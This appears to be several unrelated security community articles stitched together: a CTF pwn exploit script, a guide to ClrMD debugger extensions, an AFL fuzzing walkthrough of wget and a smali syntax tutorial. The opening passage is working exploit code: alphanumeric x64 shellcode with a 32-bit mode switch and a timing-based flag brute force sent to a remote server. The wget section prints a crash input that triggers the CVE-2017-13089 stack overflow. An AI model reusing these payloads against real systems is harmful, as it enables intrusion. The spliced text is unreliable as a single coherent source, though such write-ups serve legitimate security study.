xor rax,rax
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch='amd64')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
# print hex(len(shellcode))
# pause()
# gdb.attach(p,"b*0x4002eb\nc")
p.sendline(shellcode)
# pause()
sleep(0.1)
code1 = shellcode_x86 + 0x29*'\x90' + shellcode_flag
return code1
# p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
# p.interactive()
def pwn(p, index, ch):
# open
# shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4
# shellcode += "push 2; pop rax; syscall;"
# # read(rax, 0x10040, 0x50)
# shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz
code1 =prepare(p)
shellcode_cmp=""
if index == 0:
shellcode_cmp += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode_cmp += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode_cmp = asm(shellcode_cmp,arch = 'amd64',os = 'linux')
p.sendline(code1+shellcode_cmp)
index = 0
ans = []
debug_flag = 1
while True:
for ch in range(0x20,0x7f):
ch = chr(ch)
ch =ord(ch)
print(chr(ch))
if debug_flag:
# p = remote('8.140.177.7',40334)
p = remote('39.105.137.118',50050)
else:
p = process(prog)
# prepare()
pwn(p, index, ch)
print "======================================================================================>"+chr(ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index=index +1
print("".join([chr(i) for i in ans]))
| 社区文章 |
原文地址:<https://medium.com/@kevingosse/writing-clrmd-extensions-for-windbg-and-lldb-916427956f66>
您可能已经阅读[过有关如何为WinDbg编写ClrMD扩展的CriteoLabs文章](https://labs.criteo.com/2017/06/clrmd-part-5-how-to-use-clrmd-to-extend-sos-in-windbg/)。当我们迁移到Linux时，我们意识到我们不再使用我们的调试工具箱了，因为它是为WinDbg编写的。由于LLDB是Linux上.NET网络核心的通用调试器，因此我决定编写一个兼容层，以便能够在新环境中加载扩展。
### 介绍ClrMDExports
如何创建一个适用于WinDbg和LLDB的扩展？第一步仍然是创建一个新的类库项目。无论是.NET Framework和.NET
Standard都可以，但有些事情需要注意：
* 如果选择.NET Framework，请确保不要使用与.NET Core不兼容的任何功能（例如AppDomain），否则您将无法在LLDB中运行扩展
* 如果选择.NET Standard，请记住发布项目以将所有依赖项包含在一个文件夹中，因为在编译时默认情况下不会这样做
创建项目后，添加[对ClrMDExports
nuget包](https://www.nuget.org/packages/ClrMDExports/)的引用。它会自动将ClrMD和[UnmanagedExports.Repack](https://www.nuget.org/packages/UnmanagedExports.Repack/)作为依赖项。UnmanagedExports.Repack是UnmanagedExports的一个分支，它增加了与.NET
Framework 4.7+和.NET Standard的兼容性，并支持PackageReference。
请注意，新的 _Init.cs_ 文件将添加到您的项目中（如果您使用包引用，则不应该看到它）。 **不要对此文件进行任何更改。**
每次更新nuget包时都会被覆盖。
Init文件负责导出WinDbg所需的DebugExtensionInitialize方法，并设置所有内容，只要依赖项与扩展位于相同的文件夹中，就可以正确加载它们。
下一步是添加自定义命令。您需要为每个命令创建一个静态方法，并使用以下签名：
public static void HelloWorld(IntPtr client, [MarshalAs(UnmanagedType.LPStr)] string args)
{
}
然后使用UnmanagedExports附带的DllExport属性装饰它。您可以使用`ExportName`属性的参数来定义WinDbg /
LLDB可见的命令名称。请记住，名称区分大小写！
[DllExport("helloworld")]
public static void HelloWorld(IntPtr client, [MarshalAs(UnmanagedType.LPStr)] string args)
{
}
在该方法中，您应该只调用`DebuggingContext.Execute`由ClrMDExports提供的方法。它接受`client`和`args`作为参数的值，以及带有`(ClrRuntime
runtime, string args)`签名的另一个静态方法的委托。在静态回调方法中，实现命令。
[DllExport("helloworld")]
public static void HelloWorld(IntPtr client, [MarshalAs(UnmanagedType.LPStr)] string args)
{
DebuggingContext.Execute(client, args, HelloWorld);
}
private static void HelloWorld(ClrRuntime runtime, string args)
{
Console.WriteLine("The first 10 types on the heap are: ");
foreach (var type in runtime.Heap.EnumerateTypes().Take(10))
{
Console.WriteLine(type);
}
}
为方便起见，控制台输出会自动重定向到调试器。
您可以直接在WinDbg中加载和使用您的扩展：
### 在Linux上运行LLDB
由于扩展是为WinDbg
API编写的，因此无法直接加载到LLDB中。相反，[我编写了一个](https://github.com/kevingosse/LLDB-LoadManaged/)进行翻译[的元插件](https://github.com/kevingosse/LLDB-LoadManaged/)。
如何使用它？首先，[下载最新版本](https://github.com/kevingosse/LLDB-LoadManaged/releases)的LLDB-LoadManaged元插件并将其解压缩到一个文件夹中。
然后启动LLDB并附加到目标：
./lldb -c dump.dmp
接下来，加载元插件：
plugin load ./loadmanaged/libloadmanaged.so
确保 _Mono.Cecil.dll_ 和 _PluginInterop.dll_ 文件与 _libloadmanaged.so_ 位于同一文件夹中。
加载后，LLDB-LoadManaged将尝试通过浏览调试目标中加载的模块来定位CoreCLR。如果失败（例如，因为您在与目标不同的机器上运行lldb），您可以通过调用`SetClrPath`以下命令手动设置路径：
SetClrPath /usr/local/share/dotnet/shared/Microsoft.NETCore.App/2.2.0/
最后，使用以下`LoadManaged`命令加载WinDbg扩展：
LoadManaged /home/k.gosse/TestExtension.dll
（该`LoadManaged`命令尚不支持相对路径）
就是这样！现在，您可以像在WinDbg中一样调用扩展程序。
WinDbg的ClrMD扩展在Linux上的LLDB中运行完美
注意： _libloadmanaged.so_ 和 _libsosplugin.so都会_ 根据自己的需要托管CLR。不幸的是，[.NET Core
CLR不支持并排方案](https://github.com/dotnet/coreclr/issues/22529)。这意味着您不能同时使用LoadManaged和SOS插件。这是一个限制，它不太可能在.NET
Core端修复。作为一种解决方法，我可能会使用可以通过LoadManaged加载并替换 _libsosplugin.so_ 的SOS托管版本。
### 未来的设想
这仍然是LLDB-LoadManaged的早期版本。在接下来的几周里，我想改进错误处理并使CLR路径检测变得更加智能。尽管如此，我们已经在Criteo上定期使用它，因此它对于常见的用例应该足够稳定。使用LLDB与独立ClrMD应用程序的主要附加价值是可以附加到实时进程（Linux上的ClrMD尚不支持）。我也知道基于ClrMD（<https://github.com/dotnet/diagnostics/tree/master/src/Tools>）的跨平台REPL环境有一些工作，所以很高兴看到这两项工作如何汇合。 | 社区文章 |
测试应用 | wget
---|---
版本号 | 1.19.1
fuzz工具 | afl
调试工具 | gdb
交互功能实现 | preeny
#### wget编译安装
首先wget下载源码,并使用afl-clang-fast进行安装
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
CXX=afl-clang-fast++ CC=afl-clang-fast ./configure --prefix=/home/mortywget
AFL_USE_ASAN=1 make
make install
验证
root@c7c87f16a29d:/home/mortywget/bin# ./wget --version
GNU Wget 1.19.1 built on linux-gnu.
### preeny
Preeny项目重写了一些交互的函数,我们可以通过`LD_PRELOAD`预加载机制,对程序中的交互进行修改,例如将socket相关函数改写为从用户输入输出(stdin,stdout)进行交互,从而方便我们使用afl进行fuzz
项目下载地址
https://github.com/zardus/preeny
此处省略安装过程…
#### 验证preeny是否安装成功
预加载`desock.so`文件,并启动一个socket交互程序wget,若输入的字符串成功当作wget请求的返回值 ,则表明preeny安装配置成功
root@c7c87f16a29d:~# LD_PRELOAD="/root/preeny/x86_64-linux-gnu/desock.so" wget localhost:6666 -q -O result < <(echo "success");
GET / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive
root@c7c87f16a29d:~# more result
success
我们看到result文件中包含了"success"字符串,说明preeny已经将我们的输入转化成了http
response返回结果,说明我们preeny安装配置无误
### 开始fuzz
本次我们测试wget对于状态码为4xx的接收情况
首先创建我们的payload
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
test
运行fuzz
由于此时wget程序接收到response包后并未及时断开,我们的fuzz过程会非常的慢,甚至出现无法fuzz的情况,运行如下命令可看到wget接收到response包后并未及时断开
root@c7c87f16a29d:/home/mortywget/bin# nc -lp 6666 < in/a & ./wget localhost:6666 -F -O /dev/null
[1] 7672
--2020-04-20 07:31:52-- http://localhost:6666/
Resolving localhost... 127.0.0.1, ::1
Connecting to localhost|127.0.0.1|:6666... connected.
HTTP request sent, awaiting response... GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive
401 Not Authorized
对于这种情况,我们可以使用如下命令架起nc,让其返回特定的response包
nc -lp 6666 < out/hangs/id\:000000\,src\:000000\,op\:flip1\,pos\:4
然后通过gdb调试找到程序卡住的位置
gdb-peda$ bt
#0 0x00007ffff65d25b3 in __select_nocancel () at ../sysdeps/unix/syscall-template.S:84
#1 0x00000000004c2450 in select_fd (fd=<optimized out>, maxtime=<optimized out>, wait_for=<optimized out>) at connect.c:714
#2 0x00000000004c34b2 in sock_poll (fd=0x4, timeout=<optimized out>, wait_for=0x1) at connect.c:801
#3 poll_internal (fd=<optimized out>, info=0x0, wf=0x1, timeout=<optimized out>) at connect.c:914
#4 fd_read (fd=0x4, buf=0x7fffffffcd00 "gfedcbazzzzffffgggghhhhiiiiddddeeeeffffccccccccbbbbbbb", 'a' <repeats 29 times>, "bbb", 'a' <repeats 58 times>, 'A' <repeats 56 times>...,
bufsize=0xff, timeout=<optimized out>) at connect.c:933
#5 0x000000000052723c in skip_short_body (fd=<optimized out>, contlen=<optimized out>, chunked=<optimized out>) at http.c:989
#6 0x0000000000519a95 in gethttp (u=<optimized out>, original_url=<optimized out>, hs=<optimized out>, dt=<optimized out>, proxy=<optimized out>, iri=<optimized out>,
count=<optimized out>) at http.c:3524
#7 0x0000000000512aa7 in http_loop (u=<optimized out>, original_url=<optimized out>, newloc=0x7fffffffe310, local_file=<optimized out>, referer=<optimized out>, dt=<optimized out>,
proxy=<optimized out>, iri=<optimized out>) at http.c:4193
#8 0x00000000005556aa in retrieve_url (orig_parsed=<optimized out>, origurl=0x60300000e080 "http://localhost:6666", file=<optimized out>, newloc=<optimized out>, refurl=<optimized out>,
dt=<optimized out>, recursive=<optimized out>, iri=<optimized out>, register_status=<optimized out>) at retr.c:817
#9 0x000000000053c77b in main (argc=<optimized out>, argv=0x7fffffffe3f0, argv@entry=0x7fffffffe738) at main.c:2081
#10 0x00007ffff64f5830 in __libc_start_main (main=0x538f70 <main>, argc=0x2, argv=0x7fffffffe738, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
stack_end=0x7fffffffe728) at ../csu/libc-start.c:291
#11 0x00000000004bf659 in _start ()
在确定卡住位置之后,修改其源码,使其强制断开连接,退出程序
在`http.c`的如下位置中分别添加`exit(0)`:
tms = datetime_str (time (NULL));
/* Get the new location (with or without the redirection). */
if (hstat.newloc)
*newloc = xstrdup (hstat.newloc);
switch (err)
{
case HERR: case HEOF: case CONSOCKERR:
case CONERROR: case READERR: case WRITEFAILED:
case RANGEERR: case FOPEN_EXCL_ERR: case GATEWAYTIMEOUT:
/* Non-fatal errors continue executing the loop, which will
bring them to "while" statement at the end, to judge
whether the number of tries was exceeded. */
exit(0); //手动添加
printwhat (count, opt.ntry);
continue;
case FWRITEERR: case FOPENERR:
/* Another fatal error. */
logputs (LOG_VERBOSE, "\n");
logprintf (LOG_NOTQUIET, _("Cannot write to %s (%s).\n"),
quote (hstat.local_file), strerror (errno));
case HOSTERR: case CONIMPOSSIBLE: case PROXERR: case SSLINITFAILED:
case CONTNOTSUPPORTED: case VERIFCERTERR: case FILEBADFILE:
case UNKNOWNATTR:
if (statcode == HTTP_STATUS_UNAUTHORIZED)
{
/* Authorization is required. */
uerr_t auth_err = RETROK;
bool retry;
/* Normally we are not interested in the response body.
But if we are writing a WARC file we are: we like to keep everyting. */
if (warc_enabled)
{
int _err;
type = resp_header_strdup (resp, "Content-Type");
_err = read_response_body (hs, sock, NULL, contlen, 0,
chunked_transfer_encoding,
u->url, warc_timestamp_str,
warc_request_uuid, warc_ip, type,
statcode, head);
xfree (type);
if (_err != RETRFINISHED || hs->res < 0)
{
CLOSE_INVALIDATE (sock);
retval = _err;
goto cleanup;
}
else
CLOSE_FINISH (sock);
}
else
{
/* Since WARC is disabled, we are not interested in the response body. */
if (keep_alive && !head_only
&& skip_short_body (sock, contlen, chunked_transfer_encoding))
exit(0); //手动添加
else
exit(0); //手动添加
}
pconn.authorized = false;
while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
exit(0);//手动添加
if (ret <= 0)
重新编译后再次测试payload,程序已经可以即时退出
root@c7c87f16a29d:/home/mortywget/bin# nc -lp 6666 < a & ./wget777 localhost:6666 -F -O /dev/null
[1] 22021
--2020-04-20 09:06:53-- http://localhost:6666/
Resolving localhost... 127.0.0.1, ::1
Connecting to localhost|127.0.0.1|:6666... connected.
HTTP request sent, awaiting response... 401 Not Authorized
此时再次fuzz,发现hang数量明显减少,速度有所增加
运行后不久便fuzz出了一个crash
查看crash内容
root@c7c87f16a29d:/home/mortywget/bin# xxd out_777/3/crashes/id\:000000\,sig\:06\,src\:000024+000208\,op\:splice\,rep\:16
00000000: 4854 5450 2f31 2e31 2034 3031 204e 6f74 HTTP/1.1 401 Not
00000010: 2041 7574 7a65 646e 5563 696f 6e3a 5446 AutzednUcion:TF
00000020: 2d38 0a54 7261 6e73 6665 722d 456e 636f -8.Transfer-Enco
00000030: 6469 6e67 3a20 6368 756e 6b65 640a 436f ding: chunked.Co
00000040: 6e6e 6563 7469 6f6e 3a20 6b65 0a0a 2d30 nnection: ke..-0
00000050: 7846 4646 4646 4430 3050 2f31 2e31 2034 xFFFFFD00P/1.1 4
00000060: 3031 204e 312e 3120 3430 3120 4e6f 7420 01 N1.1 401 Not
00000070: 4175 747a 6564 6e55 6369 6f6e 3a54 462d AutzednUcion:TF- 00000080: 380a 5472 616e 7366 6572 2d45 6e63 6f64 8.Transfer-Encod
00000090: 696e 673a 2063 6875 6e6b 5764 0a43 6f6e ing: chunkWd.Con
000000a0: 6e65 6374 696f 6e3a 206b 650a 0a2d 3078 nection: ke..-0x
000000b0: 4646 4646 4644 3030 502f 312e 3120 3430 FFFFFD00P/1.1 40
000000c0: 3120 4e6f 7420 416f 6f6f 6f6f 6f6f 6f6f 1 Not Aooooooooo
000000d0: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
000000e0: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
000000f0: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000100: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000110: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000120: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000130: 6f6f 6f6f 6f6f 6f6f 6f6f 7574 7a65 646e ooooooooooutzedn
00000140: 5563 696f 6e3a 5446 2d38 0a54 7261 6e73 Ucion:TF-8.Trans
00000150: 6665 722d 456e 636f 6469 6e67 3a20 6368 fer-Encoding: ch
00000160: 756e 6565 640a 436f 6e6e 6563 7469 6f6e uneed.Connection
00000170: 3a20 6b65 0a0a 4030 7846 4646 2034 3031 : ke..@0xFFF 401
00000180: 204e 312e 3120 3430 3120 4e6f 7420 4175 N1.1 401 Not Au
00000190: 0000 0064 6e55 6369 6f6e 3a54 462d 380a ...dnUcion:TF-8.
000001a0: 5472 616e 7366 6572 2d45 6e63 6f64 696e Transfer-Encodin
000001b0: 673a 2063 6875 6e6b 5764 0a43 6f6e 6e65 g: chunkWd.Conne
000001c0: 6374 696f 6e3a 206b 650a 0a2d 3078 4646 ction: ke..-0xFF
000001d0: 4646 4644 3030 502f 312e 3120 3430 3120 FFFD00P/1.1 401
000001e0: 4e6f 7420 416f 6f6f 6f6f 6f6f 6f6f 6f6f Not Aooooooooooo
000001f0: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000200: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000210: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000220: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000230: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000240: 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f 6f6f oooooooooooooooo
00000250: 6f6f 6f6f 6f6f 6f6f 7574 7a65 646e 5563 ooooooooutzednUc
00000260: 696f 6e3a 5446 2d38 0a54 7261 6e73 6665 ion:TF-8.Transfe
00000270: 722d 456e 636f 6469 6e67 3a20 6368 756e r-Encoding: chun
00000280: 6565 640a 436f 6e6e 6563 7469 6f6e 3a20 eed.Connection:
00000290: 6b65 0a0a 4030 7846 4646 4646 4430 666f ke..@0xFFFFFD0fo
000002a0: 7420 4175 747a 7464 6e55 6369 1f1f 1f1f t AutztdnUci....
000002b0: 1f1f 1f1f 1f1f 1f1f 1f1f 1f1f 1f1f 1f1f ................
000002c0: 1f1f 1f1f 1f1f 1f1f 1f1f 1f1f 1f1f 1f1f ................
000002d0: 1f1f 6e65 6374 696f 6e3a 206b 650a 0a2d ..nection: ke..- 000002e0: 3046 4644 3066 6f74 2041 7574 7a74 646e 0FFD0fot Autztdn
000002f0: 5563 696f 6e3a 5446 2d38 0a54 7255 6e73 Ucion:TF-8.TrUns
00000300: 6665 012d 456e 636f 6469 6e67 3a20 6368 fe.-Encoding: ch
00000310: 756e 6b65 640a 436f 6e6e 6563 7469 6f6e unked.Connection
00000320: 3a20 6b65 0a0a 2d30 784b 4646 4646 4430 : ke..-0xKFFFFD0
00000330: 300e 62 0.b
使用gdb进行漏洞验证
gdb-peda$ r localhost:6666
Starting program: /home/mortywget/bin/wget localhost:6666
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--2020-04-20 09:17:49-- http://localhost:6666/
Resolving localhost... 127.0.0.1, ::1
Connecting to localhost|127.0.0.1|:6666... connected.
HTTP request sent, awaiting response... 401 Not AutzednUcion:TF-8
=================================================================
==30736==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffcf01 at pc 0x000000445f10 bp 0x7fffffffcc50 sp 0x7fffffffc410
WRITE of size 689 at 0x7fffffffcf01 thread T0
[New process 31313]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 31313 is executing new program: /usr/local/bin/llvm-symbolizer
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
#0 0x445f0f in read /root/llvmmorty/llvm-3.5.0.src/projects/compiler-rt/lib/sanitizer_common/sanitizer_common_interceptors.inc:345:16
#1 0x4c361a in sock_read /home/wget-1.19.1/src/connect.c:783:11
#2 0x4c361a in fd_read /home/wget-1.19.1/src/connect.c:938
#3 0x52723b in skip_short_body /home/wget-1.19.1/src/http.c:989:13
#4 0x519a94 in gethttp /home/wget-1.19.1/src/http.c:3524:18
#5 0x512aa6 in http_loop /home/wget-1.19.1/src/http.c:4193:13
#6 0x5556a9 in retrieve_url /home/wget-1.19.1/src/retr.c:817:16
#7 0x53c77a in main /home/wget-1.19.1/src/main.c:2081:15
#8 0x7ffff64f582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x4bf658 in _start (/home/mortywget/bin/wget+0x4bf658)
Address 0x7fffffffcf01 is located in stack of thread T0 at offset 545 in frame
#0 0x526f4f in skip_short_body /home/wget-1.19.1/src/http.c:947
This frame has 2 object(s):
[32, 545) 'dlbuf'
[688, 696) 'endl' <== Memory access at offset 545 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/llvmmorty/llvm-3.5.0.src/projects/compiler-rt/lib/sanitizer_common/sanitizer_common_interceptors.inc:345 read
Shadow bytes around the buggy address:
0x10007fff7990: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
0x10007fff79a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff79b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff79c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff79d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007fff79e0:[01]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x10007fff79f0: f2 f2 00 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
0x10007fff7a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
ASan internal: fe
==30736==ABORTING
[Inferior 2 (process 31313) exited normally]
程序在`http.c:skip_short_body()`发生了溢出,在网上对该漏洞进行查找,找到该漏洞正是CVE-2017-13089
<https://www.cvedetails.com/cve/CVE-2017-13089/>
至此完整的fuzz过程全部结束,对于该漏洞shellcode的编写,请看<https://snappyjack.github.io/articles/2019-12/CVE-2017-13089> | 社区文章 |
# 【技术分享】Android apk反编译：Smali语法入门教程
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **mutepig**](http://bobao.360.cn/member/contribute?uid=1334092065)
**预估稿费：300RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**0x01 smali生成**
使用apktool反编译apk后，会在反编译工程目录下生成一个smali文件夹
其中android下存放所调用库的smali文件，com才是我们自己写的代码的smali文件。
**0x02 基础语法**
**a.文件基本格式**
基本信息
.class <访问权限> <类名>
.super <父类名>
.source <源文件名>
# eg.
.class
public Lcom/reoky/crackme/challengeone/activities/ChallengeActivity;
.super
Landroid/support/v4/app/FragmentActivity;
.source "ChallengeActivity.java" //经过混淆后这项可能为空
类变量声明
.field <访问权限> <变量名>:<变量类型>
# eg.
.field actionBar:Landroid/app/ActionBar; <=对应源码=> ActionBar actionBar;
局部变量声明：
.local <初始值>,<变量名>:<变量类型>
#eg
.local v0, "ans":Ljava/lang/String; <=对应源码=> String ans="";
类方法声明
.method <访问权限> <方法名>(参数原型) <方法原型>
[.prologue] // 指定代码开始位置
[.param] // 指定方法参数
[.line] // 指定代码在源代码中的行数，混淆后可能不存在
[.locals] // 使用的局部变量个数
<代码体>
.end method
# eg
.method public onTabReselected(Landroid/app/ActionBar$Tab;Landroid/app/FragmentTransaction;)V
.locals 0
.param p1, "tab" # Landroid/app/ActionBar$Tab;
.param p2, "fragmentTransaction" # Landroid/app/FragmentTransaction;
.prologue
.line 55 //可能经过混淆后不存在
return-void
.end method
<=对应源码=>
public void onTabReselected(ActionBar$Tab tab, FragmentTransaction fragmentTransaction){
}
**b.原始类型**
****
B—byte
C—char
D—double
F—float
I—int
J—long
S—short
V—void
Z—boolean
[XXX—array
Lpackage/name/ObjName—object // 前面表示对象所在包路径
**c.寄存器操作**
传入的参数寄存器由p表示，而函数内的本地寄存器则由v表示，多个的话则在后面加上0,1,2…
需要注意的是，在非static函数中，p0表示`this`，p1才表示第一个参数。
常量赋值
主要是各种const
const v0, 0x7F030018 # R.layout.activity_challenge #从R中取出静态值
const/4 v3, 0x2 #4也可以换成16或者high16，表示取整数值
const-string v2, "Challenge" # 取字符串
const-class v2, Context #把类对象取出
变量间赋值
move vx,vy # 将vy的值赋值给vx，也可以是move-object等
move-result vx # 将上个方法调用后的结果赋值给vx，也可以是move-result-object
return-object vx # 将vx的对象作为函数返回值
new-instance v0, ChallengePagerAdapter # 实例化一个对象存入v0中
对象赋值
iput-object a,(this),b 将a的值给b，一般用于b的初始化
iget-object a,(this),b 将b的值给a，一般用于获取b的地址，接着调用它
# eg.
iput-object v0, p0, ChallengeActivity->actionBar:ActionBar
iget-object v0, p0, ChallengeActivity->actionBar:ActionBar
**d.函数操作**
最基础的函数操作一般有以下四个：
1.private：invoke-direct
2.public|protected： invoke-virtual
3.static：invoke-static
4.parent: invoke-super
基本调用形式：invoke-xxx {参数},类;->函数(参数原型)
# eg.
invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V
<=对应源码=>
super.onCreate(savedInstanceState); // 其中p0是this，其父类是FragmentActivity，p1,是savedInstanceState，其原型是Bundle；即调用p0->onCreate(p1)
**0x03 程序语句相关语法**
这里列举以下常见程序语句对应的smali语句，并与Android源码相比较分析
**a.判断语句**
****
if-eq vA, vB, :cond_X 如果vA等于vB则跳转到:cond_X
if-ne vA, vB, :cond_X 如果vA不等于vB则跳转到:cond_X
if-lt vA, vB, :cond_X 如果vA小于vB则跳转到:cond_X
if-ge vA, vB, :cond_X 如果vA大于等于vB则跳转到:cond_X
if-gt vA, vB, :cond_X 如果vA大于vB则跳转到:cond_X
if-le vA, vB, :cond_X 如果vA小于等于vB则跳转到:cond_X
if-eqz vA, :cond_X 如果vA等于0则跳转到:cond_X
if-nez vA, :cond_X 如果vA不等于0则跳转到:cond_X
if-ltz vA, :cond_X 如果vA小于0则跳转到:cond_X
if-gez vA, :cond_X 如果vA大于等于0则跳转到:cond_X
if-gtz vA, :cond_X 如果vA大于0则跳转到:cond_X
if-lez vA, :cond_X 如果vA小于等于0则跳转到:cond_X
**b.循环语句** **
**
下面列出一个简单的for循环，其他也差不多
public void encrypt(String str) {
String ans = "";
for (int i = 0 ; i < str.length();i++){
ans += str.charAt(i);
}
Log.e("ans:",ans);
}
<=对应smali=>
# public void encrypt(String str) {
.method public encrypt(Ljava/lang/String;)V
.locals 4
.param p1, "str"# Ljava/lang/String;
.prologue
# String ans = "";
const-string v0, ""
.local v0, "ans":Ljava/lang/String;
# for (int i 0 ; i < str.length();i++){
# int i=0 =>v1
const/4 v1, 0x0
.local v1, "i":I
:goto_0# for_start_place
# str.length()=>v2
invoke-virtual {p1}, Ljava/lang/String;->length()I
move-result v2
# i<str.length()
if-ge v1, v2, :cond_0
# ans += str.charAt(i);
# str.charAt(i) => v2
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
#str.charAt(i) => v3
invoke-virtual {p1, v1}, Ljava/lang/String;->charAt(I)C
